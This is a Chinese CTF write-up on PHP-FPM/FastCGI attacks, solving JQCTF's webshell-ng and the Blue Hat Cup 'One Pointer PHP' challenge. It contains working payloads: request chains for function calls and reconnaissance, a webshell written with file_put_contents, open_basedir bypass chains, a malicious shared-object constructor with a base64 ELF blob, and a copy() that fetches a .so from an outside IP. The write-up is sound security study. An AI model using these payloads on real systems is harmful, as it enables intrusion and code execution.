写在前面

md,JQCTF 又被叫起来打比赛了,然而👴tm 翔都被打出来了。其中有一道题比较有意思,而且👴和⛰📦giegie 当时也是做到了一半,出了一半的 flag, 于是便想着复现一波这个题,⛰📦giegie 是真强,要到了 docker.

FTP 被动模式 / PHP-FPM 攻击利用总结 - Boogiepop Doesn’t Laugh (boogipop.com)

AmiaaaZ’s Site | 攻击 PHP-FPM 学习笔记

感谢大 B 老师和葵子姐姐的❤.

https://woshilnp.github.io/2021/06/15 / 蓝帽杯 2021-One-Pointer-PHP/

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

P 神讲得很清晰

https://github.com/Nu1LCTF/jqctf2023/tree/main/web/webshell-ng

出题人给的 exp, 开局一篇 exp, 内容全靠水 (bushi).

先学一波 FastCGI

nmd👴只做出 mysqli, 还有另一半的 flag 需要 SSRF 打 fpm,👴一开始没看到 curl, 没往 SSRF 那个方向想.

这种被大佬们打烂了的东西,我到现在才闻个尾气,但是作为 webdog, 却又不得不品鉴.

FastCGI 说人话就是一种通信协议,跟 http 有点类似,头部结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

被大佬们用烂了,我引用一下。拿到 contentLength ,然后再在 TCP 流里读取大小等于 contentLength 的数据,这就是 body 体。

fpm

fpm 就是 php 中一个解析 FastCGI 的解析器.Nginx 接收到的 FastCGI 会传给 fpm

fpm 会按照 fastcgi 协议解析成数据

举个🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

这里面有相当多的键值对,其实被 fpm 解析后,都会加到 php 的超全局变量 $_SERVER 数组中,PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行 SCRIPT_FILENAME 的值指向的 PHP 文件,也就是 /var/www/html/index.php

任意代码执行

虽然能控制 SCRIPT_NAME , 但是只能执行目标服务器上的 php 文件,但是我们可以通过 FastCGI 去控制 php.ini 的内容,众所周知,php.ini 里面规定了 php 的许多内容,能修改是非常危险的.

在学习文件上传的时候,我们就接触过, auto_prepend_fileauto_append_file

这些决定了在 php 脚本执行前或后执行什么内容.

假设我们设置 auto_prepend_filephp://input ,那么就等于在执行任何 php 文件前都要包含一遍 POST 的内容,那么在 post 的 body 里面放入我们想要的恶意内容,就可以被执行了.

不过呢,还需要 allow_url_include 开启,但是,不要紧。因为这个我们也可以通过 php.ini 去设置.

然后 fpm 还有两个环境变量 PHP_INI_USERPHP_INI_ALL

PHP_INI_USERPHP_INI_ALL 是 PHP 配置选项的不同作用范围,用于定义这些选项在何时生效。

  1. PHP_INI_USER
    • 当设置为 PHP_INI_USER 时,配置选项可以在用户脚本中使用 ini_set 函数进行更改。用户可以在脚本中使用 ini_set 函数动态地修改这些选项的值,但这些更改仅在当前脚本执行期间有效。
    • 通常用于那些希望允许用户根据其特定需求进行配置的选项。
  2. PHP_INI_ALL
    • 当设置为 PHP_INI_ALL 时,配置选项可以在全局范围内通过 PHP.ini 文件、Apache 配置文件等进行设置,以及在用户脚本中通过 ini_set 进行更改。这意味着它既可以在全局配置文件中设置,也可以在运行时通过 ini_set 进行修改。
    • 通常用于那些可能需要在全局范围内进行配置的选项。

然而都有一个特点,就是都不能改 diasble_function, 这是 PHP 加载的时候就确定了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

这么设计一下, auto_prepend_file = php://input allow_url_include = On

exp

源码鉴赏一波

作为一个 web🐕, 源码是我们不得不品鉴的一个东西.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$memory = $_REQUEST;
if (count($memory) == 0) {
highlight_file(__FILE__);
die();
}
$memory["pc"] = 0;
$i = &$memory["pc"];
while ($i < 1024) {
if ($memory[$i] === "call") {
$memory[$memory[$i + 3]] = call_user_func($memory[$i + 1], $memory[$memory[$i + 2]]);
$i += 4;
} else if ($memory[$i] === "inst_call") {
$inst = $memory[$memory[$i + 1]];
$method = $memory[$i + 2];
$memory[$memory[$i + 4]] = call_user_func([$inst, $method], $memory[$memory[$i + 3]]);
$i += 5;
} else if ($memory[$i] === "new") {
$class_name = $memory[$i + 1];
$memory[$memory[$i + 3]] = new $class_name($memory[$memory[$i + 2]]);
$i += 4;
} else {
die();
}
}

看似能执行任意代码,实际上利用起来还是有一定的难度的.

该环境禁用了很多函数,还限制了 openbase_dir.

这里面有三个功能,第一个是调用任意一个单参方法.

第二个可以调用任意对象的单参方法.

第三个可以创建一个新的类.

巨 nm 恶心的是,phpinfo 还不给完整版的,nmd 信息搜集还要自己一个个调用函数是吧😅

信息搜集

1
0=call&1=ini_get&2=path&path=disable_functions&3=result&4=call&5=var_dump&6=result

通过这个,先调用 ini_get 获取设置,再通过循环,将结果打印出来.

1
popepassthru,pcntl_async_signals,pcntl_wifcontinued,set_time_limit,pcntl_wtermsig,system,pcntl_wexitstatus,openlog,pcntl_alarm,proc_open,mail,dl,ini_set,popen,apache_setenv,shell_exec,pcntl_strerror,ld,pcntl_get_last_error,pcntl_signal,pcntl_getpriority,chroot,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigprocmask,syslog,putenv,pcntl_waitpid,pcntl_wait,passthru,symlink,ini_alter,chgrp,pcntl_wifsignaled,link,pcntl_wstopsig,readlink,pcntl_sigtimedwait,pcntl_exec,pcntl_signal_dispatch,exec,chown,pcntl_fork,pcntl_wifstopped,pcntl_signal_get_handler,ini_restore,error_log,pcntl_wifexited,imap_open
1
2
0=call&1=ini_get&2=path&path=open_basedir&3=result&4=call&5=var_dump&6=result
"/var/www/html/:/tmp/"
1
0=call&1=get_loaded_extensions&2=path&path=&3=result&4=call&5=var_dump&6=result

然后获取一些扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

array(37) {
[0]=>
string(4) "Core"
[1]=>
string(4) "date"
[2]=>
string(6) "libxml"
[3]=>
string(7) "openssl"
[4]=>
string(4) "pcre"
[5]=>
string(7) "sqlite3"
[6]=>
string(4) "zlib"
[7]=>
string(5) "ctype"
[8]=>
string(4) "curl"
[9]=>
string(3) "dom"
[10]=>
string(8) "fileinfo"
[11]=>
string(6) "filter"
[12]=>
string(3) "ftp"
[13]=>
string(4) "hash"
[14]=>
string(5) "iconv"
[15]=>
string(4) "json"
[16]=>
string(8) "mbstring"
[17]=>
string(3) "SPL"
[18]=>
string(7) "session"
[19]=>
string(3) "PDO"
[20]=>
string(10) "pdo_sqlite"
[21]=>
string(8) "standard"
[22]=>
string(5) "posix"
[23]=>
string(6) "random"
[24]=>
string(8) "readline"
[25]=>
string(10) "Reflection"
[26]=>
string(4) "Phar"
[27]=>
string(9) "SimpleXML"
[28]=>
string(9) "tokenizer"
[29]=>
string(3) "xml"
[30]=>
string(9) "xmlreader"
[31]=>
string(9) "xmlwriter"
[32]=>
string(7) "mysqlnd"
[33]=>
string(8) "cgi-fcgi"
[34]=>
string(6) "mysqli"
[35]=>
string(9) "pdo_mysql"
[36]=>
string(6) "sodium"
}

可以看到,有 mysqli,

扫目录

1
0=new&1=DirectoryIterator&2=path&3=file&4=call&5=print_r&6=file&path=glob:///var/www/html/d*&pc=0

发现 config.php, 读一下

1
0=call&1=highlight_file&2=file&file=config.php&b&pc=0

1701653156207(1)

发现数据库密码,那么目前就有一个思路,通过连接数据库进行一些操作

1
2
3
4
$DB_NAME = "web";
$DB_USER = "web";
$DB_PASSWORD = "web";
$DB_HOST = "127.0.0.1";

连接 mysql

扩展里面有 mysqli 这个类,那么可以通过 mysqli 去连接数据库.

不过在此之前还要解决的一个问题就是:创建一个对象的实例,题目只能创建一个单参数的构造函数对象,而 mysqli 的连接,起码要三个参数.

怎么办呢?👴想到了用反射,反射的构造函数只有一个参数,并且,反射创建实例,支持使用数组传递所有参数,这就完美地契合我们的需求.

因此思路就是

1
2
3
4
5
6
7
8
<?php
$refClass = new ReflectionClass('mysqli');
$args = ['127.0.0.1','web','web','web']
$mysqli = $refClass->newInstanceArgs($args);
$sql = ""
$result = $mysqli->query($sql);
$row = $result->fetch_all();
var_dump($row);

可以执行 sql 语句

1
2
3
4
5
6
7
code = """
NEW ReflectionClass mysqli refClass
ICALL refClass newInstanceArgs mysqli_arg mysqli1
ICALL mysqli1 query query_arg result
ICALL result fetch_all res row
CALL var_dump row _
"""

我这里用的反射创建 mysqli, 用反射调用 connect 方法也行

读取数据库,拿到一半的 flag.

自动化脚本

出题人说,脑算逻辑很累,所以他整了个脚本,但是这个脚本比较复杂,所以我带着你们来品鉴一下.

脚本用了一堆我看不懂的语法,慢慢啃一下.

主逻辑

1
def run(func: callable):

函数的定义就整了波大的,搜了一下才知道将回调函数作为参数传入 run 函数。懂了懂了😊😊😊

1
2
3
4
5
6
7
8
9
10
11
12
code, data = func()
code = code.replace("\n\n", "\n")
code = code.split("\n")
code = map(lambda x: x.split(" "), code)
code = itertools.chain.from_iterable(code)
code = map(name_convert, code)
code = list(code)
code = {k: code[k] for k in range(len(code))}
data = data_convert(data)
code = code | data
res = requests.post(URL, data=code)
print(res.text)

然后就有了这么一些东西,code data 的值暂且先放一下不分析.

主要看看 map, 相当于写了个一个简洁的循环,我们都知道, lambda 一般都表示匿名函数,用在 map 里面,可以写一些简单的操作逻辑.

执行以后会返回 map,itertools.chain.from_iterable 是 Python 标准库中 itertools` 模块提供的一个函数,用于将多个可迭代对象连接成一个单一的迭代器.

然后又用了一次 map, 进行 name_convert 操作,这里主要就是进行一些名词替换.

list 就是将迭代器转换成列表.

然后转换成对象,和题目的数字对应.

1701656438693

这样大体上的功能就实现了,接下来就是传入参数了.

参数处理

1
data = data_convert(data)

data 就是一些具体函数的参数的实现

看看 data_convert 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
def data_convert(data: dict):
def flatten(something):
if isinstance(something, (list, range)):
for sub in something:
yield from flatten(sub)
else:
yield something

l = []
for k in data:
l.append(data_item(k, data[k]))
l = flatten(l)
return {k[0]: k[1] for k in l}

主要看 data_item , 这里会遍历字典 data, 并把 key 和 value 传入 data_item .

重点是看一下对列表的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def data_item(key: str, value: int | str | dict | list):
if type(value) == int:
return [(key, value)]
elif type(value) == str:
return [(key, value)]
elif type(value) == bytes:
return [(key, value)]
elif type(value) == dict:
new = []
for k in value:
new.append(data_item(f"{key}[{k}]", value[k]))
return new
elif type(value) == list:
new = []
if len(value) == 0:
new.append(("array[]", ""))
else:
for k in range(len(value)):
new.append(data_item(f"{key}[{k}]", value[k]))
return new
raise Exception("unsupported type")

前面的类型无关紧要。当传入列表的时候,会再次递归调用 data_item,

1
"mysqli_arg": ["127.0.0.1:3306", "web", "web", "web"],

该列表会按照索引,一个个转变成 mysqli_arg[k]:value

这样子就巧妙地实现了 php 中数组的传参,从而完成一些需要数组作为参数的函数的调用.

yield

1701657489001

然后还需要 flatten 处理,因为 data_item 返回的是一个又一个列表嵌套着元组的键值对,

yield 是 Python 中用于定义生成器函数的关键字。生成器函数是一种特殊的函数,其执行过程可以在每次调用时被挂起,并且在下一次调用时从挂起的位置继续执行。这允许你按需生成一系列值,而不必一次性生成所有值,从而在处理大量数据时节省内存。

👴不喜欢废话,👴简单说一下有啥意思

1
2
3
4
5
6
def flatten(something):
if isinstance(something, (list, range)):
for sub in something:
yield from flatten(sub)
else:
yield something

经过 yield 处理后生成一个对象,该对象在每次迭代的时候,返回值从 yield 出现的次序依次返回.

比如说

1
[[('mysqli_connect', 'mysqli_connect')], [[('mysqli_arg[0]', '127.0.0.1:3306')], [('mysqli_arg[1]', 'web')], [('mysqli_arg[2]', 'web')], [('mysqli_arg[3]', 'web')]], [('query_arg', 'show tables')]]

首先选取第一个列表,进入 if

1
[('mysqli_connect', 'mysqli_connect')]

然后通过 yield 再次进入 flatten,

然后继续遍历该列表此时只有

1
('mysqli_connect', 'mysqli_connect')

不满足 if 条件,直接进入 yield, 进行返回,同时记录下第一个 yield.

后面在进行迭代的时候,第一次就会返回这个 yield.

于是就能够将所有嵌套的列表全部去掉,展成一维的内容.

小 demo 如下:

1
2
3
4
5
6
7
8
9
10
11
12
def flatten(something):
if isinstance(something, (list, range)):
for sub in something:
yield from flatten(sub)
else:
yield something

ls = [['a',1,['b',"c"]],'ice',["shanghe"],['k0reyosh1',["caaaaa",["mylife","1llustrious"]]]]

ls1 = flatten(ls)
for i in ls1:
print(i)

1701659717709

可以看到就将嵌套的所有列表去除掉,输出里面的内容

1
return {k[0]: k[1] for k in l}

最后输入元组的前两个内容,整成一个键值对字典

后面合并字典,发送请求.

首先来看看非常抽象的一道懒猫杯

蓝帽杯 One Pointer PHP

源码鉴赏一波

add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

user.php

1
2
3
4
5
<?php
class User{
public $count;
}
?>

这里如果要进 eval, 就不能让 $count 中的元素为 1, 对此绕过的方法是数组溢出.

32 位上为 2147483647 ,64 位上为 9223372036854775807 ,所以这里我们应该设置 count 为 9223372036854775806

所以直接构造序列化,打进去

1
2
3
4
5
6
7
8
9
10
<?php
class User{
public $count;
}

$a = new User();
$a->count = 9223372036854775806;
echo urlencode(serialize($a));


调用 phpinfo, 发现

image-20231208142228538

使用 file_put_contents 写个 shell 进去

1
backdoor=file_put_contents('/var/www/html/2.php','<?php eval($_POST[1]);?>');

绕过 openbase_dir

1
2
1=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

发现在根目录有 flag, 但是没权限读.

1
2
backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/usr/local/etc/php/php.ini"));

获取 php.ini 的设置
![屏幕截图 2023-12-08 143512](./JQCTF-Webshell-ng/ 屏幕截图 2023-12-08 143512.png)

加载了 so 文件.

所以选择打一个远程 fpm

首先准备一个恶意的 so

脚本穿三代,人走它还在.🤣

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("/readflag > /tmp/flag.txt");
}

1
gcc xxx.c -fPIC -shared -o ext.so

写入 tmp 目录,别人用的是远程获取

1
2
3
PHP
/add_api.php?backdoor=mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://47.110.124.239/test/hpdoger.so','/tmp/hpdoger.so');

👴就不一样,既然 file_put_contents 能用,为啥不直接写进去.

1
file_put_contents('/tmp/ext.so',base64_decode('f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAABA1AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAQAAAAAAACwBAAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAApAQAAAAAAACkBAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAANwAAAAAAAAA3AAAAAAAAAAAEAAAAAAAAAEAAAAGAAAA8C0AAAAAAADwPQAAAAAAAPA9AAAAAAAAIAIAAAAAAAAoAgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAILgAAAAAAAAg+AAAAAAAACD4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAADgCAAAAAAAAOAIAAAAAAAA4AgAAAAAAACQAAAAAAAAAJAAAAAAAAAAEAAAAAAAAAFDldGQEAAAAOCAAAAAAAAA4IAAAAAAAADggAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS5XRkBAAAAPAtAAAAAAAA8D0AAAAAAADwPQAAAAAAABACAAAAAAAAEAIAAAAAAAABAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQBKS0h3+CLDFXjnaMA5IYbDICt6bgAAAAACAAAABgAAAAEAAAAGAAAAAAIAAAAQAAAGAAAAAAAAAG0Sh8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAXQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAVQAAABIADAAJEQAAAAAAABYAAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAHByZWxvYWQAc3lzdGVtAGxpYmMuc28uNgBHTElCQ18yLjIuNQAAAAEAAgABAAEAAgABAAEAAQBkAAAAEAAAAAAAAAB1GmkJAAACAG4AAAAAAAAA8D0AAAAAAAAIAAAAAAAAAAARAAAAAAAAAD4AAAAAAAAIAAAAAAAAAMAQAAAAAAAACEAAAAAAAAAIAAAAAAAAAAhAAAAAAAAA+D0AAAAAAAABAAAABgAAAAAAAAAAAAAAyD8AAAAAAAAGAAAAAQAAAAAAAAAAAAAA0D8AAAAAAAAGAAAAAwAAAAAAAAAAAAAA2D8AAAAAAAAGAAAABAAAAAAAAAAAAAAA4D8AAAAAAAAGAAAABQAAAAAAAAAAAAAAAEAAAAAAAAAHAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwXFLwAASIXAdAL/0EiDxAjDAAAAAAAAAAAA/zXKLwAA/yXMLwAADx9AAP8lyi8AAGgAAAAA6eD/////JZovAABmkAAAAAAAAAAASI09uS8AAEiNBbIvAABIOfh0FUiLBV4vAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI09iS8AAEiNNYIvAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsFLS8AAEiFwHQI/+BmDx9EAADDDx+AAAAAAPMPHvqAPUUvAAAAdStVSIM9Ci8AAABIieV0DEiLPSYvAADoWf///+hk////xgUdLwAAAV3DDx8Aww8fgAAAAADzDx766Xf///9VSInlSI0F7A4AAEiJx+gU////kF3DAEiD7AhIg8QIwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA